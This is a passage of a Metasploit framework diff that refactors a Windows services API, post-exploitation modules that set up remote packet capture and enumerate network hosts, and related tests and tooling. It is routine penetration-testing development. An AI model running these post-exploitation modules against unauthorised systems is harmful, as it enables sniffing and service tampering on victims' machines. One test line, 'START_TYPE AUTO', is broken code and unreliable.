- include Msf::Post::Windows::WindowsServices
+ include Msf::Post::Windows::Services
include Msf::Post::Windows::Priv
def initialize(info={})
@@ -41,16 +41,16 @@ class Metasploit3 < Msf::Post
serv = service_info("rpcapd")
print_status("Checking if machine #{sysinfo['Computer']} has rpcapd service")
- if serv['Name'] !~ /remote/i
+ if serv[:display] !~ /remote/i
print_error("This machine doesn't seem to have the rpcapd service")
else
- print_status("Rpcap service found: #{serv['Name']}")
- reg=registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\rpcapd","Start")
- # TODO: check if this works on x64
- prog=session.sys.config.getenv('ProgramFiles') << "\\winpcap\\rpcapd.exe"
- if reg != 2
+ print_status("Rpcap service found: #{serv[:display]}")
+
+ start_type = serv[:starttype]
+ prog = get_env('ProgramFiles') << "\\winpcap\\rpcapd.exe"
+ if start_type != START_TYPE_AUTO
print_status("Setting rpcapd as 'auto' service")
- service_change_startup("rpcapd","auto")
+ service_change_startup("rpcapd", START_TYPE_AUTO)
end
if datastore['ACTIVE']==true
if datastore['RHOST']==nil
@@ -76,22 +76,15 @@ class Metasploit3 < Msf::Post
end
def run_rpcapd(p)
+ service_name = "rpcapd"
begin
- cmd_exec("sc","config rpcapd binpath= \"#{p}\" ",30)
- result=service_start("rpcapd")
- case result
- when 0
- print_good("Rpcapd started successfully: #{p}")
- when 1
- print_status("Rpcapd is already running. Restarting service ...")
- if service_stop("rpcapd") and service_start("rpcapd")
- print_good("Service restarted successfully: #{p}")
- else
- print_error("There was an error restarting rpcapd.exe. Try to run it again")
- end
+ if service_restart(service_name)
+ print_good("Rpcapd started successfully: #{p}")
+ else
+ print_error("There was an error restarting rpcapd.exe.")
end
- rescue::Exception => e
- print_status("The following Error was encountered: #{e.class} #{e}")
+ rescue ::Exception => e
+ print_error("The following Error was encountered: #{e.class} #{e}")
end
end
diff --git a/modules/post/windows/recon/computer_browser_discovery.rb b/modules/post/windows/recon/computer_browser_discovery.rb
index f471166bdb..cc2ad55784 100644
--- a/modules/post/windows/recon/computer_browser_discovery.rb
+++ b/modules/post/windows/recon/computer_browser_discovery.rb
@@ -98,7 +98,7 @@ class Metasploit3 < Msf::Post
end
result = client.railgun.netapi32.NetServerEnum(nil,101,4,-1,4,4,lookuptype,datastore['DOMAIN'],0)
- # print_error(result.inspect)
+
if result['totalentries'] == 0
print_error("No systems found of that type")
return
diff --git a/plugins/wiki.rb b/plugins/wiki.rb
index 28ea387e74..80641e46f0 100644
--- a/plugins/wiki.rb
+++ b/plugins/wiki.rb
@@ -1,6 +1,6 @@
##
#
-# This plugin requires Metasploit: http//metasploit.com/download
+# This plugin requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
##
diff --git a/spec/lib/metasploit/framework/login_scanner/base_spec.rb b/spec/lib/metasploit/framework/login_scanner/base_spec.rb
index 522024f9e1..b30725fe12 100644
--- a/spec/lib/metasploit/framework/login_scanner/base_spec.rb
+++ b/spec/lib/metasploit/framework/login_scanner/base_spec.rb
@@ -12,12 +12,33 @@ describe Metasploit::Framework::LoginScanner::Base do
end
}
- subject(:login_scanner) { base_class.new }
+ let(:options) {
+
+ {
+ connection_timeout: 1,
+ cred_details: ["user", "pass"],
+ host: '1.2.3.4',
+ port: 4444,
+ stop_on_success: true,
+ bruteforce_speed: 5,
+
+ }
+ }
+
+ subject(:login_scanner) {
+ base_class.new(options)
+ }
it { should respond_to :bruteforce_speed }
context 'validations' do
+
+ it 'is valid!' do
+ expect(login_scanner).to be_valid
+ end
+
context 'bruteforce_speed' do
+
it 'is not valid for a non-number' do
login_scanner.bruteforce_speed = "a"
expect(login_scanner).to_not be_valid
@@ -36,11 +57,17 @@ describe Metasploit::Framework::LoginScanner::Base do
expect(login_scanner.errors[:bruteforce_speed]).to include "must be greater than or equal to 0"
end
+ it 'is nil' do
+ login_scanner.bruteforce_speed = nil
+ expect(login_scanner).to be_valid
+ end
+
it 'is not greater than five' do
login_scanner.bruteforce_speed = "6"
expect(login_scanner).to_not be_valid
expect(login_scanner.errors[:bruteforce_speed]).to include "must be less than or equal to 5"
end
+
end
it { should respond_to :sleep_time }
diff --git a/spec/lib/msf/http/wordpress/version_spec.rb b/spec/lib/msf/http/wordpress/version_spec.rb
index 536228061d..9b14190967 100644
--- a/spec/lib/msf/http/wordpress/version_spec.rb
+++ b/spec/lib/msf/http/wordpress/version_spec.rb
@@ -91,6 +91,15 @@ describe Msf::HTTP::Wordpress::Version do
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) }
end
+ context 'when version from readme has arbitrary leading whitespace' do
+ let(:wp_code) { 200 }
+ let(:wp_fixed_version) { '1.0.1' }
+ let(:wp_body) { 'stable tag: 1.0.0' }
+ it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
+ let(:wp_body) { 'stable tag:1.0.0' }
+ it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
+ end
+
context 'when installed version is vulnerable' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
diff --git a/test/modules/exploits/test/cmdweb.rb b/test/modules/exploits/test/cmdweb.rb
index e76a845025..1ca3b47739 100644
--- a/test/modules/exploits/test/cmdweb.rb
+++ b/test/modules/exploits/test/cmdweb.rb
@@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
# =( need more targets and perhaps more OS specific return values OS specific would be preferred
include Msf::Exploit::Remote::HttpClient
- include Msf::Exploit::CmdStagerVBS
+ include Rex::Exploitation::CmdStagerVBS
def initialize(info = {})
super(update_info(info,
diff --git a/test/modules/post/test/services.rb b/test/modules/post/test/services.rb
index 08454fa920..d5c9c9dff5 100644
--- a/test/modules/post/test/services.rb
+++ b/test/modules/post/test/services.rb
@@ -13,7 +13,6 @@ require 'module_test'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Services
-
include Msf::ModuleTest::PostTest
def initialize(info={})
@@ -22,7 +21,6 @@ class Metasploit3 < Msf::Post
'Description' => %q{ This module will test windows services methods within a shell},
'License' => MSF_LICENSE,
'Author' => [ 'kernelsmith', 'egypt' ],
- 'Version' => '$Revision: 11663 $',
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter', 'shell' ]
))
@@ -44,19 +42,19 @@ class Metasploit3 < Msf::Post
it "should start #{datastore["SSERVICE"]}" do
ret = true
results = service_start(datastore['SSERVICE'])
- if results != 0
+ if results != Windows::Error::SUCCESS
# Failed the first time, try to stop it first, then try again
service_stop(datastore['SSERVICE'])
results = service_start(datastore['SSERVICE'])
end
- ret &&= (results == 0)
+ ret &&= (results == Windows::Error::SUCCESS)
ret
end
it "should stop #{datastore["SSERVICE"]}" do
ret = true
results = service_stop(datastore['SSERVICE'])
- ret &&= (results == 0)
+ ret &&= (results == Windows::Error::SUCCESS)
ret
end
@@ -69,24 +67,24 @@ class Metasploit3 < Msf::Post
ret &&= results.kind_of? Array
ret &&= results.length > 0
- ret &&= results.include? datastore["QSERVICE"]
+ ret &&= results.select{|service| service[:name] == datastore["QSERVICE"]}
ret
end
end
def test_info
- it "should return info on a given service" do
+ it "should return info on a given service #{datastore["QSERVICE"]}" do
ret = true
results = service_info(datastore['QSERVICE'])
ret &&= results.kind_of? Hash
if ret
- ret &&= results.has_key? "Name"
- ret &&= (results["Name"] == "Windows Management Instrumentation")
- ret &&= results.has_key? "Startup"
- ret &&= results.has_key? "Command"
- ret &&= results.has_key? "Credentials"
+ ret &&= results.has_key? :display
+ ret &&= (results[:display] == "Windows Management Instrumentation")
+ ret &&= results.has_key? :starttype
+ ret &&= results.has_key? :path
+ ret &&= results.has_key? :startname
end
ret
@@ -94,40 +92,157 @@ class Metasploit3 < Msf::Post
end
def test_create
- it "should create a service" do
+ it "should create a service #{datastore["NSERVICE"]}" do
mode = case datastore["MODE"]
- when "disable"; 4
- when "manual"; 3
- when "auto"; 2
- else; 2
+ when "disable"; START_TYPE_DISABLED
+ when "manual"; START_TYPE_MANUAL
+ when "auto"; START_TYPE_AUTO
+ else; START_TYPE AUTO
end
- ret = service_create(datastore['NSERVICE'],datastore['DNAME'],datastore['BINPATH'],mode)
- ret
+ ret = service_create(datastore['NSERVICE'],
+ display: datastore['DNAME'],
+ path: datastore['BINPATH'],
+ starttype: mode)
+
+ ret == Windows::Error::SUCCESS
end
- it "should return info on the newly-created service" do
+ it "should return info on the newly-created service #{datastore["NSERVICE"]}" do
ret = true
results = service_info(datastore['NSERVICE'])
ret &&= results.kind_of? Hash
- ret &&= results.has_key? "Name"
- ret &&= (results["Name"] == datastore["DNAME"])
- ret &&= results.has_key? "Startup"
- ret &&= (results["Startup"].downcase == datastore["MODE"])
- ret &&= results.has_key? "Command"
- ret &&= results.has_key? "Credentials"
+ ret &&= results.has_key? :display
+ ret &&= (results[:display] == datastore["DNAME"])
+ ret &&= results.has_key? :starttype
+ ret &&= (START_TYPE[results[:starttype]].downcase == datastore["MODE"])
+ ret &&= results.has_key? :path
+ ret &&= results.has_key? :startname
ret
end
- it "should delete the new service" do
+ it "should delete the new service #{datastore["NSERVICE"]}" do
ret = service_delete(datastore['NSERVICE'])
+ ret == Windows::Error::SUCCESS
+ end
+ end
+
+ def test_status
+ it "should return status on a given service #{datastore["QSERVICE"]}" do
+ ret = true
+ results = service_status(datastore['QSERVICE'])
+
+ ret &&= results.kind_of? Hash
+ if ret
+ ret &&= results.has_key? :state
+ ret &&= (results[:state] > 0 && results[:state] < 8)
+ end
+
ret
end
end
+ def test_change
+ service_name = "a" << Rex::Text.rand_text_alpha(5)
+ display_name = service_name
+
+ it "should modify config on a given service #{service_name}" do
+ ret = true
+
+ results = service_create(service_name,
+ display: display_name,
+ path: datastore['BINPATH'],
+ starttype: START_TYPE_DISABLED)
+
+ ret &&= (results == Windows::Error::SUCCESS)
+ results = service_status(service_name)
+ ret &&= results.kind_of? Hash
+ if ret
+ original_display = results[:display]
+ results = service_change_config(service_name, {:display => Rex::Text.rand_text_alpha(5)})
+ ret &&= (results == Windows::Error::SUCCESS)
+
+ results = service_info(service_name)
+ ret &&= (results[:display] != original_display)
+
+ service_delete(service_name)
+
+ end
+
+ ret
+ end
+ end
+
+ def test_restart_disabled
+ service_name = "a" << Rex::Text.rand_text_alpha(5)
+ display_name = service_name
+
+ it "should start a disabled service #{service_name}" do
+ ret = true
+ results = service_create(service_name,
+ display: display_name,
+ path: datastore['BINPATH'],
+ starttype: START_TYPE_DISABLED)
+
+ ret &&= (results == Windows::Error::SUCCESS)
+ if ret
+ begin
+ results = service_restart(service_name)
+ ensure
+ service_delete(service_name)
+ end
+ ret &&= results
+ end
+
+ ret
+ end
+ end
+
+ def test_restart_start
+ service_name = datastore['SSERVICE']
+
+ it "should restart a started service #{service_name}" do
+ ret = true
+
+ results = service_start(service_name)
+ ret &&= (results == Windows::Error::SUCCESS)
+ if ret
+ results = service_restart(service_name)
+ ret &&= results
+ end
+
+ ret
+ end
+ end
+
+ def test_noaccess
+ it "should raise a runtime exception if no access to service" do
+ ret = false
+ begin
+ results = service_stop("gpsvc")
+ rescue RuntimeError
+ ret = true
+ end
+
+ ret
+ end
+ end
+
+ def test_no_service
+ it "should raise a runtime exception if services doesnt exist" do
+ ret = false
+ begin
+ results = service_status(Rex::Text.rand_text_alpha(5))
+ rescue RuntimeError
+ ret = true
+ end
+
+ ret
+ end
+ end
=begin
def run
diff --git a/tools/msftidy.rb b/tools/msftidy.rb
index 788b34f28e..ba52332b91 100755
--- a/tools/msftidy.rb
+++ b/tools/msftidy.rb
@@ -593,7 +593,7 @@ class Msftidy
# This module then got copied and committed 20+ times and is used in numerous other places.
# This ensures that this stops.
def check_invalid_url_scheme
- test = @source.scan(/^#.+http\/\/metasploit.com/)
+ test = @source.scan(/^#.+http\/\/(?:www\.)?metasploit.com/)
unless test.empty?
test.each { |item|
info("Invalid URL: #{item}")